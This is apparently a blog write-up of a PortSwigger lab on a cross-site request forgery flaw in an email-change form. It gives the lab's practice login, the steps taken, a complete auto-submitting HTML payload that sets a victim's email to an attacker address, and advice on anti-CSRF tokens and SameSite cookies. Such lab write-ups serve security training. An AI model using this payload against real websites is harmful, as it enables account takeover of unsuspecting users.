Security article

CSRF vulnerability with no defenses

CSRF vulnerability with no defenses: This lab's email change functionality is vulnerable to CSRF. • PortSwigger • CSRF • csrf, lab1

2022-11-243 tags

🎯 Objective

This lab's email change functionality is vulnerable to CSRF.

Goal: Craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to the exploit server.

🧭 Steps Taken

Logged in with the provided credentials:
- Username: wiener
- Password: peter
Intercepted the email change request.
Needed to figure out how to automatically trigger the form submission.
Used document.forms[0].submit(); to auto-submit the CSRF form.

📄 Exploit Payload

<html>
  <body>
    <form action="https://target.site/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

📸 Evidence

Exploit working

✅ Result

Victim’s email was successfully changed via CSRF.
No CSRF protection was in place to stop the exploit.

💡 Key Takeaway

Automatic form submission is a common CSRF technique.
Applications should use proper CSRF defenses like anti-CSRF tokens and SameSite cookies.

← Back to overview